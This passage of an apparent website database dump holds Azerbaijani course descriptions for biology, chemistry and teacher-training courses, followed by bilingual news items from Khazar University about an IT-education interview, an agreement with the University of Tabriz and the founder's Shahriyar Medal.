kredit)</em></strong><em></em></p>\r\n<p><strong>Bu kurs\r\nmakromolekulların quruluş və xüsusiyyətlərini, onların qarşılıqlı əlaqəsini,\r\ngenlərin, xromosomların quruluşunu, genetik materialın replikasiya və\r\ntranskripsiyasını, zülal sintezini və gen mühəndisliyi texnikasını əhatə edir.</strong></p>\r\n<p>&nbsp;</p>\r\n<p><strong><em>BIO 404 Genetika və seleksiya (6 kredit)</em></strong><em></em></p>\r\n<p>Kurs\r\nMendel və molekulyar genetikanın əsas qanunauyğunluqları haqqında məlumatları\r\nəhatə edir. Kurs ərzində insan genomunun quruluşu, funksiyası və evolyusiyası\r\ntələbələrə öyrədiləcəkdir. Seleksiya yeni heyvan və bitki cinslərinin,\r\nmikroorqanizm ştammlarının yaradılması və mövcud olanların təkmilləşdirilməsi\r\nhaqqında elmdir. Kurs ərzində seleksiyanın əsas prinsiplərinin tədrisi həyata\r\nkeçiriləcəkdir.</p>\r\n<p>&nbsp;</p>\r\n<p><strong><em><strong><em>BIO</em></strong>   412 Mərkəzi sinir sistemi (6 kredit)</em></strong><em></em></p>\r\n<p>Bu kurs\r\nsinir sisteminin əsas hissələrindən olan mərkəzi sinir sisteminin\r\nmorfologiyasına həsr olunmuşdur. Mərkəzi sinir sistemi orqanizmdəki müxtəlif\r\nsistem və aparatların fəaliyyətini, hərəkət, həzm, tənəffüs, ifrazat, qan\r\ndövranı, limfa cərəyanı, metabolik prosesləri və s. tənzim edir və orqanizmlə\r\nonu əhatə edən xarici mühit arasında qarşılıqlı əlaqə yaradır. Kurs zamanı\r\nmərkəzi sinir sisteminə aid olan bütün törəmələrin morfo-funksional\r\nxüsusiyyətləri tədris olunacaqdır.</p>\r\n<p>&nbsp;</p>\r\n<p><strong><em><strong><em>BIO</em></strong>   434&nbsp;Mikrobiologiya (6 kredit)</em></strong><em></em></p>\r\n<p>Bu kurs\r\nbiologiyanın əsas bölmələrindən olan mikrobiologiyanın öyrənilməsinə həsr\r\nolunmuşdur. Mikrobiologiyanın ümumi hissəsi mikroorqanizmlərin morfologiyası, təsnifatı,\r\nfiziologiyası, genetikasi, ekologiyası bolmələrini əhatə edir. Kurs zamanı\r\nmikroskopik ibtidailər, göbələklər və virusların morfologiyası, təsnifatı\r\ntədris olunacaqdır. Antibiotiklər, infeksiya və immunitet haqqında məlumatlar\r\nveriləcəkdir.</p>\r\n<p>&nbsp;</p>\r\n<p><strong><em>EDU 409 Biologiyanın tədrisi metodikası (6\r\nkredit)</em></strong><em></em></p>\r\n<p>Kimya\r\nvə Biologiya ixtisası üzrə təhsil alan tələbələrə tədris olunan “Biologiyanın\r\ntədrisi metodikası” adlı kurs yüksək ixtisaslı biologiya müəllimlərinin nəzəri\r\n- metodik hazırlığında böyük rola malikdir. Kursun tədris edilməsində əsas\r\nməqsəd gələcəkdə biologiya fənnini tədris edən müəllimlərin pedaqoji\r\nhazırlığını təmin etmək, biologiya fənninin tədrisində müasir interaktiv\r\nmetodların tətbiq edilməsi yollarını öyrətmək, dərsin təlim, inkişafetdirici və\r\ntərbiyəedici məqsədləri arasında əlaqəni əsaslandırmaq bilik və bacarıqlarının\r\nformalaşdırmaqdan ibarətdir.</p>\r\n<p>&nbsp;</p>\r\n<p><strong><em>CHEM111: Kimya-1 (6 kredit)</em></strong><em></em></p>\r\n<p><strong>Prerekvizit:\r\n</strong>yoxdur</p>\r\n<p>Atom-molekulyar\r\nnəzəriyyə. Maddənin quruluşu və fiziki xassələri. Atomun quruluşu. Kimyəvi\r\nrabitə. Molekullarn fəndəsi forması. Hibridləşmə. Atom orbitalları. Molekulyar\r\norbitallar. Maddənin aqreqat halları. Məhlullar. Kimyəvi tarazlıq. Turşu-əsas\r\nnəzəriyyələri. Kimyəvi kinetika. Kataliz. Nüvə reaksiyaları. I-VII qrup\r\nelementləri və onların ən mühüm birləşmələri. Üzvi birləşmələr, onların əsas\r\nsinifləri və ən mühüm nümayəndələri.</p>\r\n<p><strong>&nbsp;</strong></p>\r\n<p><strong><em>CHEM112: Kimya-2 (6 kredit)</em></strong><em></em></p>\r\n<p><strong>Prerekvizit:</strong>\r\nCHEM111</p>\r\n<p>Termodinamika,\r\nonun qanunları. Termokimya. Məhlullar nəzəriyyəsi. Duru məhlullar. Raul\r\nqanunları. Oksidləşmə-reduksiya prosesləri. Fotokimya. Kolloid məhlullar.\r\nElektrokimya. Elektroliz, Faradey qanunları. Standart elektrod potensialı.\r\nQalvanik elementlər. Korroziya və onunla mübarizə.</p>\r\n<p><strong>&nbsp;</strong></p>\r\n<p><strong><em>CHEM112: Biokimya-2 (6 kredit)</em></strong><em></em></p>\r\n<p><strong>Prerekvizit:</strong>\r\nCHEM102</p>\r\n<p>Zülların\r\nnövləri, onların quruluşu və xassələri. Nuklein turşuları. Fermentlər.\r\nVitaminlər. Hormonlar. Lipidlər. Prostaqlandinlər. Canlı orqanizmdə metabolizm\r\nprosesləri. Bioloji oksidləşmə. Karbohidratların, sadə və mürəkkəb züllarların,\r\nnuklein turşularının, lipidlərin metabolizmi. Züllarların biosintezi.</p>\r\n<p>&nbsp;</p>\r\n<p><strong><em>CHEM208: Ümumi və qeyri-üzvi kimya (6\r\nkredit)</em></strong><em></em></p>\r\n<p><strong>Prerekvizit:</strong> yoxdur</p>\r\n<p>Maddə\r\nvə onun növləri. Maddənin quruluşu və xassələri. Kimyəvi rabitə və onun\r\nnövləri. Maddənin aqreqat halları. Məhlullar. Kimyəvi tarazlıq. Turşu-əsas\r\nnəzəriyyələri. Kinetika. Radioaktiv çevrilmələr. Kataliz. Mendeleyev\r\ncədvəlindəki I-VIII qruplardakı əsas elementlər və onların ən mühüm\r\nbirləşmələri.</p>\r\n<p>&nbsp;</p>\r\n<p><strong><em>CHEM 220: Üzvi kimya (6 kredit)</em></strong><em></em></p>\r\n<p><strong>Prerekvizit:</strong>\r\nCHEM208 ümumi və Qeyri-üzvi kimya</p>\r\n<p>Üzvi\r\nmaddələrin kimyəvi quruluşu. Karbohidrogenlər, onların növləri,\r\nxarakteristikası, alınması və xassələri. Halogenli karbohidrogenlər. Spirtlər.\r\nSadə efirlər. Aldehidlər və ketonlar.Karbon turşuları. Mürəkkəb efirlər. Yağlar\r\nvə piylər. Azotlu üzvi birləşmələr. Tsikloalkanlar və tsikloalkenlər. Aromatik\r\nkarbohidrogenlər. Fenollar. Kondensləşmiş arenlər. Heterotsiklik birləşmələr.</p>\r\n<p>&nbsp;</p>\r\n<p><strong><em>CHEM 311: Fiziki kimya (6 kredit)</em></strong><em></em></p>\r\n<p><strong>Prerekvizit:</strong>\r\nCHEM208</p>\r\n<p>Termodinamikanın\r\nprinsipləri və qanunları. Termokimya. Qazlar, mayelər və bərk maddələr. Fiziki\r\nxassələr və kimyəvi quruluş arasında əlaqə. Le-Şatelye prinsipi. Fazalar\r\nqaydası. Paylanma qanunu. Kataliz. Kimyəvi kinetika. Fotokimya. Adsorbsiya.\r\nQalvanik elementlər. Elektrod potensialı. Elektrik keçiriciliyi. Korroziya,\r\nondan mühafizə.</p>\r\n<p><strong>&nbsp;</strong></p>\r\n<p><strong><em>CHEM 321: Analitik kimya (6 kredit)</em></strong><em></em></p>\r\n<p><strong>Prerekvizit:</strong>\r\nCHEM208</p>\r\n<p>Vəsfi\r\nanaliz üsulları. Fərdi kationların təyini. Kationların analitik qrupları.\r\nKationların qarışıqlarının analizi. Anionların təyini. Anionların analitik\r\nqrupları. Miqdari analiz. Həcmi analiz. Neytrallaşdırma üsulları. Oksidləşmə-reduksiya\r\nüsulları. Çökdürmə və komplekləşdirmə üsulları. Qravimetriya. Fiziki və\r\nfiziki-kimyəvi analiz üsulları.</p>\r\n<p>&nbsp;</p>\r\n<p><strong><em>CHEM320: Yüksəkmolekullu birləşmələr\r\nkimyası (6 kredit)</em></strong><em></em></p>\r\n<p><strong>Prerekvizit:</strong>\r\nCHEM321</p>\r\n<p>Polimerlərin\r\nquruluşu və xüsusiyyətləri. Polimerləşmə üsullarının əsas növləri. Polimerlərin\r\nəsas nümayəndələri. Polimerlərin əsas fiziki-mexaniki xassələri. Polimerlərin\r\nməhlulları. Polimerlərin molekul kütləsi, onun növləri və təyini üsulları.\r\nPolimerlərin kimyəvi reaksiyaları. Polimerlərin tətbiqi.</p>\r\n<p>&nbsp;</p>\r\n<p><strong><em>CHEM250: Neft kimyası (6 kredit)</em></strong><em></em></p>\r\n<p><strong>Prerekvizit:</strong>\r\nCHEM208</p>\r\n<p>Neftlərin\r\ntəsnifatı. Neftlərin fiziki-kimyəvi xassələri. Neft komponentlərinin ayrılma\r\nüsullar. Neftin tərkibindəki alkanlar, tsikloalkanlar, arenlər və hibrid\r\nbirləşmələri. Neft karbohidrogenlərinin termiki və termokatalitik çevrilmələri.\r\nOksidləşmə və hidrogenləşmə. Neft məhsullarının təmizlənməsi. Yanacaqların və\r\nyağların əsas növləri, onların tərkibi və xassələri.</p>\r\n<p>&nbsp;</p>\r\n<p><strong><em>&nbsp;ART\r\n231: Rəsmxətt və onun tədrisi metodikası (6 kredit)</em></strong><strong><em></em></strong></p>\r\n<p><strong>Prerekvizit: yoxdur</strong><strong></strong></p>\r\n<p>Təsviri sənət\r\nfənninin məqsədi estetik dünyagörüşlü, zəngin mənəviyyata, bədii zövqə və yara­dıcı\r\ntəxəyyülə malik, milli və ümumbəşəri dəyərlərə hörmətlə yanaşan, incəsənət əsərlərini\r\nduyub qiymətləndirən, obrazlı və simvolik düşüncə tərzinə malik şəxsiyyət\r\nformalaşdırmaqdan ibarətdir.</p>\r\n<p>&nbsp;</p>\r\n<p><strong><em>CMS\r\n435 </em></strong><strong><em>İnformatikanın tədrisi metodikası (6 kredit)</em></strong><em></em><em></em></p>\r\n<p><strong>Prerekvizit: CMS 101</strong><strong></strong></p>\r\n<p>İnformatika sürətlə inkişaf edən və daim yenilənən\r\nbir sahə olduğundan, onun tədrisində məqsəd elmi informasiyanın bolluğundan\r\ndaha çox, daxili-mənəvi mədəniyyətin və əxlaqi-insani kamilliyin səviyyəsini\r\nyüksəltmək olmalıdır. Fənnin tədrisində məqsəd həm də tələbəyə hazır mühakimə əzbərlətmək\r\nyox, mühakimə yürütməyi öyrətməkdir. Bu kursun əsas məqsədi müasir dövrdə\r\naktual olan əməliyyat sistemlərini, ofis proqramlarını, müxtəlif səpgili tətbiqi\r\nvə xidməti proqramlardan istifadə bacarığı, İKT avadanlıqlarının təyinatını,\r\nkompüterun ibarət oldugu elektron qurğuların tanıdılması, internetlə iş\r\nbacarığını tələbələrdə aşlamaqdır.&nbsp; </p>\r\n<p><em>&nbsp;</em></p>\r\n<p><strong><em>EDU 495 Təlim\r\nmetodları (6 kredit)</em></strong></p>\r\n<p><strong>Prerekvizit: EDU 101 </strong><strong></strong></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:10.0pt;margin-left:.5in;line-height:115%\"\"=\"\">Fənnin\r\nməqsədi həm nəzəri,&nbsp; həm də praktik\r\nbaxımdan peşəkar&nbsp; müəllimlərin\r\nhazırlanmasını təmin etmək; təhsilə müasir yanaşmaların və yeni fənn\r\nkurikulumlarının&nbsp; uğurlu tətbiqinə nail\r\nolmaq; ümumi təhsilin keyfiyyətini yüksəltmək üçün&nbsp; lider, yaradıcı, tədqiqatçı pedaqoji kadrlar\r\nhazırlamaq</p>\r\n<p><strong>&nbsp;</strong></p>\r\n<p><strong><em>EDU 101 Təhsilə giriş (6 kredit)</em></strong></p>\r\n<p><strong>Prerekvizit: yoxdur </strong></p>\r\n<p><strong>“Təhsilə giriş” kursu təhsilin fəlsəfi əsaslarını və\r\ntəhsilin əsas nəzəri və təcrübi problemlərini anlamaq üçün tələbələrə zəmin\r\nyaradır.</strong></p>\r\n<p><strong>&nbsp;</strong></p>\r\n<p><strong><em>PSYCH 304 Təhsil\r\npsixologiyasının əsasları (6 kredit)</em></strong></p>\r\n<p><strong>Prerekvizit: EDU 101 </strong><strong></strong></p>\r\n<p><strong>Tələbələr təhsilin psixoloji əsasları haqqında\r\nilkin anlayışlar qazanmalı,&nbsp;&nbsp; </strong><strong>öyrənmə haqqında olan nəzəriyyələri və bu nəzəriyyələr arasındakı oxşarlıq\r\nvə&nbsp;&nbsp;&nbsp; fərqlilikləri&nbsp;&nbsp; görə bilməli&nbsp;\r\nvə&nbsp; hər&nbsp; bir nəzəriyyəyə görə&nbsp;&nbsp; öyrənmə&nbsp;\r\nprosesisinin&nbsp; necə olduğunu, bu\r\nprosesə&nbsp; təsir edən faktorları&nbsp; və pedaqoji fəaliyyət&nbsp; və müəllim şəxsiyyətininin xüsusiyyətlərini&nbsp; izah edə bilməlidirlər.</strong></p>\r\n<p><strong><em>&nbsp;</em></strong></p>\r\n<p><strong><em>PSYC101\r\nPsixologiyaya giriş:&nbsp; Uşaq inkişafı (6\r\nkredit)</em></strong></p>\r\n<p><strong>Prerekvizit: EDU 101 </strong><strong></strong></p>\r\n<p>Uşaq psixologiyası: uşağın inkişafına və davranışlarına, doğumdan\r\nyeniyetməliyə qədər olan mərhələni öyrənən psixologiya sahəsidir. Uşaq\r\npsixologiyası sadəcə uşağın fiziki inkişafını deyil, social-emosional, koqnitiv\r\ninkişafını öyrənməkdədir. Uşaq inkişafı sadəcə daxili səbəblərdən (genetic,\r\nfərdi xüsusiyyətlər və s) deyil bir çox xarici amillərdən də (mədəni, social\r\nmünasibətlər və s) təsirlənməkdədir.Uşaq psixologiyası bu səbəblə uşağın\r\ninkişafını fərqli aspektlərdən nəzərdən keçirir (fiziki, emosional, hərəki,\r\ndüşüncə, cinsi, əxlaqi və s)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nUşaq psixoloqları uşağın içində olduğu vəziyyəti (hər mənada) nəzərə\r\nalaraq, uşağın yararlana biləcəyi formada ailə münasibətlərini tənzimləmə,\r\nqulluğunun təmin olunması,təhsil dəstəyinin təmin olunması kimi uşağın\r\ninkişafını daha sağlam vəziyyətə gətirilməsini və lazım olduğu hallarda\r\n(sosial-emosional və davranış problemləri) terapiyalar verilməsini hədəfləyir.&nbsp; </p>\r\n<p>&nbsp;</p>\r\n<p><strong><em>MATH 412&nbsp;</em></strong><strong><em></em></strong><strong><em>Riyaziyyatın tədrisi metodikası (6 kredit) </em></strong></p>\r\n<p><strong>Prerekvizit: MATH 223, MATH 224 </strong><strong></strong></p>\r\n<p>Riyaziyyatın\r\ntədrisi metodikası kursunda riyaziyyat fənninin məktəbdə tədrisi nəzəriyyəsinin\r\nvə metodikasının ümumi və xüsusi məsələləri öyrənilir.</p>\r\n<p>Riyaziyyatın tədrisi metodikasının predmeti riyaziyyatın təlimi\r\nprosesidir. O, bütün tədris mərhələlərində riyaziyyatın təlimi\r\nqanunauyğunluqlarını öyrənir. </p>\r\n<p><strong>&nbsp;</strong></p>\r\n<p><strong><em>EDU 437 Biologiyanın tədrisi metodikası (6 kredit)</em></strong><em></em></p>\r\n<p><strong>Prerekvizit: EDU 101</strong></p>\r\n<p>Biologiyanın tədrisi metodikası pedaqogikanın müasir bir sahəsi kimi\r\nformalaşmışdır və təlim və tədrisin,&nbsp; məktəb\r\nbiologiyasının spesifikası ilə müəyyənləşən məzmun, forma və vasitələrinin nəzəri\r\nvə praktiki məsələlərinin işlənib hazırlanması ilə məşğuldur. Biologiyanın tədrisi\r\nmetodikasınn öyrənilməsi tam orta məktəblərdə çalışmaq üçün biologiya müəlliminin,\r\nmüasir istiqamətlər və yanaşmalar nəzərə alınmaqla,&nbsp; hərtərəfli hazırlanması üçün zəruridir.\r\nMetodiki hazırlığın bütün mərhələlərində tələbələrin diqqəti biologiya müəlliminin\r\nşəxsi və peşə keyfiyyətlərinə olan tələblərin səviyyəsinin yüksəldilməsinə yönəldilir.<strong></strong></p>\r\n<p><strong><em>&nbsp;</em></strong></p>\r\n<p><strong><em>EDU 437 Tarixin Tədrisi\r\nMetodikası (6 kredit)</em></strong></p>\r\n<p><strong>Prerekvizit: EDU 101</strong><strong></strong></p>\r\n<p>Tarixin tədrisi metodikası şagirdlərə cəmiyyətin inkişafı, xalqların tarixi\r\nhaqqında bol-bol informasiya verməkdən daha çox onları həmin informasiyalardan\r\nbaş açmaq, zehni və əməli fəaliyyətlərini məntiqi-elmi əsaslarla təşkil etmək,\r\ncəmiyyətdə öz yerini tutmaq bacarıqlarını aşılamağa xidmət edir.<strong></strong></p>\r\n<p><em>&nbsp;</em></p>\r\n<p><strong><em>EDU 409 Azərbaycan\r\ndilinin tədris metodikası (6 kredit) </em></strong></p>\r\n<p><strong>Prerekvizit: EDU 101</strong><strong></strong></p>\r\n<p>Kursda fənn\r\nmüəllimlərinə ana dilinin tədrisinin məqsəd və vəzifələri, Azərbaycan dili təliminin\r\nməzmunu və nəzərdə tutulan təlim nəticələrinin mahiyyəti, təlim məqsədlərinin təyini,\r\nqazandırılacaq&nbsp; yüksək idraki\r\nbacarıqların formalaşdırırlması&nbsp;\r\nmetodları üzərində durulacaqdır. Ana dilinin təlim strategiyaları,\r\nkonstruktiv&nbsp; təlim nəzəriyyəsinə əsasən təliminin\r\ntəşkilinə verilən tələblər, təliminin təşkilində istifadə olunan forma, üsul və\r\ntexniklardan və fəaliyyətin planlaşdırılmasından bəhs olunacaq, şagird nailiyyətlərinin\r\nqiymətləndirilməsi növlərindən və qiymətləndirmə vasitələrinin hazırlanması\r\nüsulları, səmərəli müəllim- şagird ünsiyyəti və öyrənmə mühiti haqqında tövsiyyələr\r\nveriləcəktir.</p>\r\n<p>&nbsp;</p>\r\n<p><strong><em>EDU 456 Təhsil\r\nhüququ və qanunvericiliyi (6 kredit)</em></strong></p>\r\n<p><strong>Prerekvizit: yoxdur </strong><strong></strong></p>\r\n<p><strong>Tələbələr təhsil hüququ və qanunvericiliyi üzrə ətraflı\r\nvə mükəmməl bilgilər əldə edəcəklər.</strong></p>\r\n<p><strong>&nbsp;</strong></p>\r\n<p><strong><em>EDU 350 Sağlamlıq\r\nvə fiziki tərbiyyə (6 kredit)</em></strong></p>\r\n<p><strong>Prerekvizit: yoxdur </strong><strong></strong></p>\r\n<p>Bu kurs\r\nibtidai məktəb müəllimləri üçün nəzərdə tutulmuşdur. Bu fənn çərçivəsində sağlamlığın\r\nəsasları, sağlamlığın möhkəmləndirilməsi yolları və bununla əlaqədar fiziki fəaliyyətin\r\nəhəmiyyəti öyrənilir.</p>\r\n<p>&nbsp;</p>\r\n<p><strong><em>EDU 444 Kimyanın tədrisi\r\nmetodikası (6 kredit)</em></strong></p>\r\n<p><strong>Prerekvizit: EDU 101</strong><strong></strong></p>\r\n<p>Kimyanın tədris\r\nmetodikası kursu ilə tələbələrə ümumi və tam orta təhsil səviyyəsində (VII-XI\r\nsiniflər)<strong></strong>kimya fənninin <strong>&nbsp;</strong>təlim\r\nmetodlarının inkişaf etdirilməsi yolu ilə yeni anlayış və mahiyyətlərin, daha\r\nsistemli və tətbiqyönümlü praktik vərdişlərin və bacarıqların aşılanması təmin\r\nolunur. Kimya fənni üzrə təlimin\r\ntəşkilinə verilən tələblər, təlimin təşkili formaları və üsulları barədə tövsiyələr,\r\nfənn üzrə təlimin planlaşdırılmasına dair nümunələr&nbsp; tədris edilir.</p>\r\n<p>&nbsp;</p>\r\n<p><strong><em>SPH 202 Nitq mədəniyyətinin\r\nəsasları ( 6 kredit)</em></strong></p>\r\n<p><strong>Prerekvizit: yoxdur </strong><strong></strong></p>\r\n<p>“Nitq mədəniyyətinin əsasları” fənninin bütün humanitar fakultələrə, xüsusən\r\nmüəllim ixtisası alanlara tədrisi vacibdir.Kursun məqsədi – natiqlik məharəti,\r\nbunun üçün lazım olan keyfiyyətləri aşılamaqla yanaşı, tələbələrdə öz fikirlərinin\r\ndüzgün, aydın, məntiqli, yığcam şəkildə ifadə edə bilmək vərdişi yaratmaqdır.Bu\r\nkurs nəzəri biliklə yanaşı praktiki məşğələlərdən ibarətdir. Danışıq texnikası,\r\norfoepiya, intonasiya, mimika və jest, analitik və bədii verilişlərdə oxu tərzi\r\nkimi anlayışları ayrı-ayrılıqda öyrətmək, nitq mədəniyyətinin praktik cəhətdən\r\nmənimsənilməsini və fakultənin proqram tələblərini təmin etmək məşğələlərin əsas\r\nməqsədidir.Tədris prosesində nitq mədəniyyətinə yiyələnməyin daha səmərəli\r\nüsulları şərh olunacaq.<strong></strong></p>\r\n<p><strong>&nbsp;</strong></p>\r\n<p><strong><em>EDU 438\r\nCografiyanın tədris metodikası</em></strong><strong><em> &nbsp;(6\r\nkredit)</em></strong></p>\r\n<p><strong>Prerekvizit: EDU 101</strong><strong></strong></p>\r\n<p>Məktəb coğrafiyasının metodikasını, ənənəvi\r\ncoğrafiya ilə müasir coğrafiyanın tədrisinin fərqli xüsusiyyətlərini, məzmun standartlarının funksiyaları və əhəmiyyətini\r\nşərh edəcək,coğrafiyanın tədrisi zamanı fəal təlim üsul və\r\nformalarından məqsədəuyğun istifadə, tədris zamanı məqəsəduyğun resurslardan\r\nistifadə, yeni qiymətləndirmə vasitələrinin hazırlanmasınımənimsəyəcəklər.</p>\r\n<p><strong>&nbsp;</strong></p>\r\n<p><strong><em>MGT Təşkilatı davranış (6 kredit)</em></strong><em></em></p>\r\n<p><strong>Prerekvizit: yoxdur </strong><strong></strong></p>\r\n<p>\"Təşkilatlarda davranış” fənninin tədrisinin əsas məqsədi, ali məktəblərin\r\npedoqoji fakültə və ixtisaslarında təhsil alan tələbələrə, təşkilati davranış\r\nhaqqında məlumatların verilməsi\r\nvə praktiki nümunələrlə yaşayaraq öyrənməyi təmin etməkdir. Bundan əlavə,\r\nkursun digər məqsədi, təşkilatların uğuru üçün hansı davranışların hansı şərtlərdə\r\ntəsirli ola biləcəyini, fərdi və qrup davranışları və bunların səbəblərini,\r\nmotivasiya və stres kimi şərtlər altında insan davranışlarının necə istiqamətləndirilə\r\nbiləcəyini araşdırmaqdır.</p>\r\n<p><strong>&nbsp;</strong></p>\r\n<p><strong><em>EDU </em></strong><strong><em>408\r\nTəhsilin İdarəedilməsi (6 kredit)</em></strong></p>\r\n<p><strong>Prerekvizit: EDU 101</strong><strong></strong></p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;line-height:150%\"\"=\"\"><em>Tələbələr məktəb\r\nidarəçiləri üçün nəzərdə tutulan başlıca idarəetmə nəzəriyyələri, idarəçiliyin\r\ntəsiri, məktəb liderliyi və eyni zamanda müasir məktəb idarəçiliyindəki əsas\r\nprinsip və təcrübələr barədə öyrənəcəklər. </em>İştirakçılar təşkilati yenidənqurma, məktəb\r\nidarəçiliyi proseslərinə tətbiq edilə biləcək klassik və müasir idarəçilik\r\nnəzəriyyələri ilə tanış ola biləcək və onları məktəb idarəçilyində tətbiq etmək\r\nüçün bacarıqlara sahib olacaqlar.<em>Nəticədə, tələbələr təhsildə\r\nidarəetmə məsələləri, onlaramüasir yanaşmalar vəonların bugünkü məktəblərə\r\ntətbiqi barədə bilik və bacarıqlarla təchiz olunacaqlar.</em></p>'),(1945,1190,'en','Dunya School Teacher Shares Thoughts on IT Development in Regions','On June 8, 2016, an article published on the sputnik.az news website included an interview with Vafa Valiyeva, IT specialist at Khazar University’s affiliate Dunya School.','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">On June 8, 2016, an article published on\r\nthe sputnik.az news website included an interview with Vafa Valiyeva, IT\r\nspecialist at Khazar University’s affiliate Dunya School. She shared her\r\nthoughts on the state of informatics education in schools of the nation. The full\r\ntext of the article is available at this link: </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\"><a href=\"http://sputnik.az/science/20160608/405569475.html\">http://sputnik.az/science/20160608/405569475.html</a>.</p>'),(1946,1190,'az','Rayon məktəblərində İT-nin inkişafına münasibət bildirildi','2016-cı il iyunun 8-də sputnik.az saytında Xəzər Universiteti “Dünya” məktəbinin İT üzrə mütəxəssisi Vəfa Vəliyeva ilə söhbətin mətni yayınlanmışdır.','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">2016-cı il iyunun 8-də <strong><em>sputnik.az</em></strong>\r\nsaytında Xəzər Universiteti “Dünya” məktəbinin İT üzrə mütəxəssisi Vəfa Vəliyeva\r\nilə söhbətin mətni yayınlanmışdır. Respublikanın orta məktəblərində\r\ninformatikanın tədrisinin vəziyyəti ilə bağlı fikirlərin yer aldığı yazını bu\r\nlink vasitəsilə oxumaq olar: <a href=\"http://sputnik.az/science/20160608/405569475.html\">http://sputnik.az/science/20160608/405569475.html</a>.\r\n</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">&nbsp;</p>'),(2173,1333,'en','AzerTac Publishes Article about Khazar University’s Agreement with University of Tabriz','As we previously reported, Khazar University and the University of Tabriz signed an agreement on September 13, 2016...','<p>As we previously reported, Khazar\r\nUniversity and the University of Tabriz signed an agreement on September 13,\r\n2016. AzerTac (the Azerbaijan State Information Agency) published an article\r\nabout this on their website. The article and corresponding pictures are\r\navailable at the following link: </p>\r\n<p><a href=\"http://azertag.az/xeber/Tebriz_ve_Xezer_universitetleri_arasinda_emekdasliga_dair_memorandum_imzalanib-993086\">http://azertag.az/xeber/Tebriz_ve_Xezer_universitetleri_arasinda_emekdasliga_dair_memorandum_imzalanib-993086</a>.</p>\r\n<p>&nbsp;</p>'),(2174,1333,'az','AzərTAc Təbriz Universiteti ilə Xəzər Universiteti arasında imzalanmış memorandumdan yazdı','Xəbər verildiyi kimi, 2016-cı il sentyabrın 13-də Təbriz Universiteti ilə Xəzər Universiteti arasında memorandum imzalanmışdır...','<p>Xəbər verildiyi kimi, 2016-cı\r\nil sentyabrın 13-də Təbriz Universiteti ilə Xəzər Universiteti arasında\r\nmemorandum imzalanmışdır. Bu barədə Azərbaycan Dövlət İnformasiya Agentliyi (AzərTAc)\r\ndə rəsmi İnternet səhifəsində məlumat yaymışdır.</p>\r\n<p>Xəbəri tam şəkildə oxumaq və tədbirdə çəkilmiş şəkillərə baxmaq üçün\r\nbu linkə daxil olmaq lazımdır:</p>\r\n<p><a href=\"http://azertag.az/xeber/Tebriz_ve_Xezer_universitetleri_arasinda_emekdasliga_dair_memorandum_imzalanib-993086\">http://azertag.az/xeber/Tebriz_ve_Xezer_universitetleri_arasinda_emekdasliga_dair_memorandum_imzalanib-993086</a>.</p>'),(2175,1334,'en','Founder Receives Shahriyar Medal ','On September 17, 2016, an international conference dedicated to great Iranian and Azerbaijani poet Mahammadhuseyn Shahriyar was held in the city of Tabriz in the Islamic...','<p>On September 17, 2016, an international conference\r\ndedicated to great Iranian and Azerbaijani poet Mahammadhuseyn Shahriyar was\r\nheld in the city of Tabriz in the Islamic Republic of Iran. The conference was\r\nhosted by the University of Tabriz. </p>\r\n<p>Five countries were represented at the conference:\r\nthe Islamic Republic of Iran, Pakistan, Turkey, Azerbaijan and Georgia. Six\r\nscholars from these countries were selected to receive the 2016 Shahriyar\r\nMedal. </p>\r\n<p>Two scholars from the Azerbaijan Republic who\r\nreceived the medal were Professor Hamlet Isaxanli, the founder of Khazar\r\nUniversity and Chairman of its Board of Directors and Trustees, and Professor\r\nVasim Mammadaliyev, Dean of the School of Theology at Baku State University.\r\nThey each made brief speeches about Shahriyar.&nbsp;</p><p><br></p><p style=\"text-align:center\"><strong>Text of\r\nShahriyar Cultural Medal:<o:p></o:p></strong></p><p>Second International Shahriyar Cultural Medal </p>\r\n<p>Awarded to Professor Hamlet\r\nIsaxanli, the founder of Khazar University and Chairman of its Board of\r\nDirectors and Trustees </p>\r\n<p>&nbsp;The relationships among people\r\nand nations are among those inevitable relationships in the world that connect\r\nideas, thoughts, feelings and emotions in the flow of life; roar like a\r\nwaterfall through valleys and rivers; and overflow into the pure nature of humanity,\r\nwhich is under the authority of God, the almighty creator of all that exists,\r\nby finding inspiration in the faith, promises and responsibility of great\r\npeople.</p>\r\n<p>Now this respected intellectual\r\nhas been selected by the Second International Shahriyar Cultural Medal\r\nCommittee to receive the cultural medal and pin. </p>\r\n<p>By bestowing upon you this pin\r\nand certificate, Tabriz University commends your unforgettable efforts. </p>\r\n<p>We hope that we will achieve\r\nlasting success in the creation of a union that will attract the attention of\r\nIslamic culture and of our countries.&nbsp;</p>  <p><br></p>'),(2176,1334,'az','Təsisçi Şəhriyara həsr olunmuş beynəlxlq konfransda mükafata layiq görüldü','2016-cı il sentyabrın 17-də Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlı İran İsalm Respublikasının Təbriz şəhərində...','<p>2016-cı il sentyabrın 17-də 